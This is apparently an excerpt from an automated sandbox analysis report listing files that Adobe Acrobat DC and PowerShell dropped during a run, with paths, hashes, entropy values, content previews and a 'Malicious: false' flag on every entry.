Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.28869010882044
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJf+dPeUkwRe9:YvXKXVN0cjdWaG28Ukee9
MD5:	00D49C17296967E8D3DE69C9EF2BF5A7
SHA1:	845DEE8F52C8F6BFA9476487CEE97D301C2A49EB
SHA-256:	54C3EFE2997AD00B3E817F4CB1FAE0E9B81E32B62C87FF99F7631BF689FBDD7F
SHA-512:	E856D9DB539C52B16672C3AD41986F0795CAC7D00ABBABD8627680615373B1B6262039C7A50B9F2BA538A9C0249FA67926A62BB7C36D3E34F8A8F85038FFE1B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2864333940954875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJfbPtdPeUkwRe9:YvXKXVN0cjdWaGDV8Ukee9
MD5:	C5E332DD41F424AEC2CB2AD51396712D
SHA1:	73ED1E0C602C3DBAAAAAB25CDE1C9B0115C4E5C8
SHA-256:	4E4414D51091866A5A219FDB37FC595D79B05CAACC60BEC9C3981657ACDCC444
SHA-512:	D349AB1A6FA916C2C523314F1E5DC21189228D77635855EDA93ED1C311B09D04B3B9FF74ABAF55CE4FEB11A79F64BA54DBAB41FA647BE9E079428F08344088D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.289540560925799
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJf21rPeUkwRe9:YvXKXVN0cjdWaG+16Ukee9
MD5:	DDD271954FC59C9AA84CAB261484F8BF
SHA1:	BE806F579DDCF44863F808F7046FAC08E4A2B365
SHA-256:	D70FC42176EDDEA6537FAB64D4680CAF92F70BC72DCA06081FA14BCA09DE2FC9
SHA-512:	48F4533F5AC592DBD46D074B4FE0D9B8108EBFC4E22315778D59749E2EEC4744B7ABC7723E455FABDEC3A49291FC624DB0C6D846332521CB9795066E44A1D05B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659598860300828
Encrypted:	false
SSDEEP:	24:Yv6XVNZjdUamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS46:YvivYBgkDMUJUAh8cvM5
MD5:	D543F34B654F065F7EEF0F5D641522F2
SHA1:	5BE37AD6B71F75A3B29E17D7C43EF65C557753AA
SHA-256:	5374263709FB6FCBA5B733EF3AF42A4CBF2AF29F9AEABAD2F3C2BA2DE8BF7746
SHA-512:	1E995A5FF26BF85126BD742B3906B4435FF9DFC243D7B2818B5DB6D4667B1E46738C92BC1F3640EFB95A817F6F62F9C2227503439658CFE5D79008A9D7DAFF3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2661642725138975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJfshHHrPeUkwRe9:YvXKXVN0cjdWaGUUUkee9
MD5:	1B55837ADA48AC772BF8056F02C7F2A5
SHA1:	66605AD821595E39F20872C1C58C56251FB02880
SHA-256:	9E1C7F5E822EFF6E3AE27CBE7C903B1E3BE6FB6877F2D07A9F1278B09EE71348
SHA-512:	0E8ABAB48F951F5977D2AFCE116AF2E5B0ED46E469E95FA5D810B5E729789AE6969205AC6815447BC8A89B9BD22E72CC9C7E6E52FABC30FD87733B339FEC3B0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2681437776441715
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJTqgFCrPeUkwRe9:YvXKXVN0cjdWaGTq16Ukee9
MD5:	FF136200EA320D8B31D888D5E431C233
SHA1:	0D2A65EE258579C586F3E165BF792D9C49781763
SHA-256:	1FE60692689424F513C79A692CE71A35D396AC6B32600880112C452CBD3A563B
SHA-512:	C83A52932355DD2A961C8D864BD824AF6F58D61CBFBCC37931E73BB007FF4722FCB168B7CABED5614B94D79DF5FFFD9A5E31A1404A679D8F5009D01F34745325
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13370700991172
Encrypted:	false
SSDEEP:	24:YMIFl12RalTayrM4qyjU7VnH2H2IB/ijvj0SJwPSl2VHy912LSJ6CbOS8bxSvRSD:YblVM7Vz7vuS91m8D8bogRZVh9gX0t
MD5:	38363B34186F9DCFD44E392ABF594A11
SHA1:	45403CD0F9058D9EED1F7B6A366CD8BED00EDE67
SHA-256:	4152CF4A94A4F11EEA5EE4BE18BFE5463166CCCF1D767220848039498E13A6C5
SHA-512:	692CB627DC3BA430F431B3682F9D31AFB8CC089814EDF3312C214E0C8D16EF702ADCED16E1E9C7A7DC055A5EB751D38091AE1CDFB97ECE052C7EF01FF4049C2F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a5ca91fda4d9bc4bef4cd73fc933832e","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736549093000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3302646b92d74874590a30a728fe7096","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736549093000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a1abd7e1e25872339343ae2723ee5017","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736549093000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d98fcc03d2955c361146829435780aaa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736549093000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"78303986da0a30787adba4023926ce84","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736549093000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e4e48e3a3b1a96f80fe693a09d4090a9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1469505402672093
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursKv6gRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUu2:TFl2GL7msKiKXc+XcGNFlRYIX2v3kzi8
MD5:	AAA53141FAA2A6F6E183FFAB59DA70F6
SHA1:	2AB29F52DAA6684E6CFFB22CFAF9A2DCE0B19CDD
SHA-256:	0CC63EF986BC76B8F954A53E4964B6F446E2C771803661E444771349520A296C
SHA-512:	A34001838134D6663091E875F1F8C0E167C3B9E141A9D7D04F2156F657CBE48708E53DEDEA8701A725ECD029E7FFC1923249E8FB50AEDC3B350D5C24E9D144F5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5532678892071108
Encrypted:	false
SSDEEP:	24:7+tRv6gUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux+EqLxx/O:7MRilXc+XcGNFlRYIX2vuqVl2GL7msA
MD5:	2DBF754B06197DD6BE8856F66EF0C3B2
SHA1:	4E0F7DC83D77905BD6F34767116F7C96A602B060
SHA-256:	B55D9369F696C8D0740A374F87F962AFCED11C374EBF7B15F84FE7BC7EBCB275
SHA-512:	A9678B8B3B979E4CB2FAE8509278952CD79CACE496EF4FE0F1514B6D4EA6440930CFE7C4EC0EBF542AD250F2072164F13530F2BF860DA093DC8DB7C71687FBA6
Malicious:	false
Preview:	.... .c.....h.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgokswSbquEwQeIkTih4StEOPukYyu:6a6TZ44ADEokOb3GxkTiqIK
MD5:	BCAC0EEDA90E5F9F6F830FC81FE21118
SHA1:	321D4AD36CBBDA0D1EB2EB2D781DABFF12EA0C54
SHA-256:	52529D05214DC64661882E2768CA668793748EE2DBA4945E73A2F623AEC600D5
SHA-512:	A6841D822AB4217BA0270C45D02994A2440C053F859E37B44E3ED050F4FDE9888452F29A69271062F19B2E1157F88DBCBC0D3494B252D41207E77CE19922A693
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe40f5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.505475641302283
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEtWH:Qw946cPbiOxDlbYnuRK+bDq
MD5:	0A4282816512A278B6B4957C5EA21849
SHA1:	E6B4921A94B7678DF477381639AE8A9A47BDEBBF
SHA-256:	1E09EC2FFAB442F1D7B96F77A17CBD4072F8E96F0F20B38568468D43B430758A
SHA-512:	BB16821F9B4F94463D6B0DA75796A85AACC9E2470168A54CF056EA8453168BD6D16E0F1E4A8B4B6732E0C221DF1A6A92D828B658FAF8FC21D9A512546A2C22E8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.4.4.:.5.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xvkchxe.ef4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_thogl5h4.laz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-44-46-277.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.337526861652703
Encrypted:	false
SSDEEP:	384:1iUfTNqhvjbeKZYDY2X3AmDpNSXd2V1uZGvb9lVJ1gBH1pa2lMOBtQtAlKgbVvVX:g/hxOeKAf
MD5:	5CAC59F2D3BBD93F6BEEAB2DFC6C27B3
SHA1:	7CEEB410BE9434C8536725DA194968E54C8D035E
SHA-256:	743F3DB1140374D84908D92DDE8A21453AC24BA313A844D50B48520D29803C11
SHA-512:	B15A57B5855D31C4BA250D9DF02DB9D7395E7C84280683F5C0C8D8A5CA550E4AF0263D0C98067F498740289C77003A37B285090DF630765A949EB44DAD7EA356
Malicious:	false
Preview:	SessionID=af3691ce-58dc-4ebe-ac70-411a8eec84a1.1736549086293 Timestamp=2025-01-10T17:44:46:293-0500 ThreadID=7300 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=af3691ce-58dc-4ebe-ac70-411a8eec84a1.1736549086293 Timestamp=2025-01-10T17:44:46:301-0500 ThreadID=7300 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=af3691ce-58dc-4ebe-ac70-411a8eec84a1.1736549086293 Timestamp=2025-01-10T17:44:46:301-0500 ThreadID=7300 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=af3691ce-58dc-4ebe-ac70-411a8eec84a1.1736549086293 Timestamp=2025-01-10T17:44:46:301-0500 ThreadID=7300 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=af3691ce-58dc-4ebe-ac70-411a8eec84a1.1736549086293 Timestamp=2025-01-10T17:44:46:302-0500 ThreadID=7300 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3961105935915255
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb4kcb9wIyAfPnpNN+MBcb/6g:V3fOCIdJDeiLtyAfPnpNN+Mm6g
MD5:	FA312AD2FE07CEFA80F6DCCEF3D16531
SHA1:	425432ED4BBB2563564783E01DE9620E30ECF3E6
SHA-256:	930D55B24CF634C78808B0C3483B71A93CAAFBCB4E845D48F76C8B4658A9403A
SHA-512:	49BA70431FFA7786A75914D19EB36685BB5B50DF44401B41984940D81094005B387D1B61E0B91408B8E7CF01A70DFC605FCD6AD278E9ABAACCD5B285CC17AE8F
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\28f46d7b-b46f-40ba-998c-77849d71ab87.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5f77fe58-279e-4884-aa81-ef815ff1ca56.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
